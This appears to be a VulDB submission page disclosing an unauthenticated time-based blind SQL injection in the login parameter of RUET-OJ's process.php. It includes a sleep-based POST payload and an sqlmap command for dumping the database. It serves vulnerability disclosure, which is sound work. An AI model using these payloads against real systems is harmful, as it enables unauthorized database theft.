| タイトル | shawon100 RUET-OJ BETA 2016 Unauthenticated Time Based Blind SQL Injection |
|---|
| 説明 | There is a time-based blind SQL injection vulnerability in the "un" parameter of the process.php file, allowing an attacker to dump the entire database without needing to be logged in.
An unauthenticated attacker could insert SQL injection payloads into the "un" parameter of the POST request to log in to the application. This would allow them to dump the application's database without needing to be logged in. Affected file: process.php
[POC]
Check for a Time-based SQL injection vulnerability:
Send a POST to /process.php with the following payload: un=TESTE'+and+sleep(5)%23&ps=PASSWORD&uri=home.php
Check the return time using Burp or curl.
Automate with sqlmap to perform the database dump.
sqlmap -u http://<ip>/process.php --data "un=USERNAME&ps=PASSWORD&uri=home.php" -D reg --tables
The person responsible for the application was informed via email on July 25, 2025. But I did not receive a response.
Link application: https://github.com/shawon100/RUET-OJ |
|---|
| ユーザー | ManinhuGuitar (UID 84672) |
|---|
| 送信 | 2025年10月13日 23:12 (6 月 ago) |
|---|
| モデレーション | 2025年10月27日 11:22 (14 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 330103 [shawon100 RUET OJ 迄 18fa45b0a669fa1098a0b8fc629cf6856369d9a5 POST Request /process.php un SQLインジェクション] |
|---|
| ポイント | 17 |
|---|